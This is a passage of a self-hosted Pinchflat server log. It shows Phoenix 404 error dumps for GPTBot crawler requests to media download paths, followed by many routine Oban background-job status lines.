PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3301/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GICmfG1FpxOL3X4AJjBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46740}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253362.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46740}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253363.0>, params: %{}, path_info: ["sources", "3", "media", "3301", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 19:48:54.085 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:56.468 [info] GET /sources/3/media/3298/force_download 19:48:56.469 [debug] QUERY OK source="settings" db=0.4ms idle=1716.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:56.470 [debug] QUERY OK source="settings" db=0.3ms idle=840.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:56.470 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:48:56.471 [error] #PID<0.253368.0> running PinchflatWeb.Endpoint (connection #PID<0.253367.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45522}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253368.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GICmgzm3Uac1Y78ALx3C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45522}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.253367.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45522}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.253368.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 19:49:00.868 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:24.087 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:54.089 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.869 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:24.091 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:54.093 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.870 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:24.095 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:54.097 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.871 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:24.099 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:54.101 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.872 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:24.103 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:54.105 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.873 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:24.107 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:54.109 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.874 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:24.111 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:54.113 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.875 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:24.115 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:54.117 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.876 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:24.119 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:54.121 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.877 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:24.123 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:54.125 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.878 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:24.127 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:54.129 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.879 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:24.131 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:54.133 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.880 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:24.135 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:54.137 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.881 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:24.139 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:54.141 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.882 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:24.143 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:54.145 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.883 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:24.147 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:54.149 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.884 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:24.151 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:54.153 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.885 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:24.155 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:54.156 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.886 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:24.159 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:54.161 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.887 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:24.163 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:54.165 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.888 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:24.167 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:54.169 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.889 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:24.171 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:54.173 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.890 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:24.175 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:54.177 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.891 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:24.179 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:54.181 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.892 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:24.183 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:54.185 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.893 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:24.187 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:54.189 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.894 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:24.191 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:54.193 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.895 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:24.195 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:54.197 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.896 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:24.199 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:54.201 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.897 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:24.203 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:54.205 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.898 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:24.207 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:54.210 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.899 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:24.212 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:54.214 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.900 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:24.216 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:54.218 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.901 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:24.220 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:54.222 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.902 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:24.224 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:54.226 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.903 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:24.228 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:54.230 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.904 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:24.232 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:54.234 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.905 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:24.236 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:54.238 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.906 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:24.240 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:54.242 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.907 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:24.244 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:54.246 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.908 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:24.248 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:54.250 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.909 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:24.252 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:54.254 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.910 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:24.256 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:54.258 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.911 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:24.260 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:54.262 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.912 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:24.264 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:54.266 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.913 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:24.268 [info] 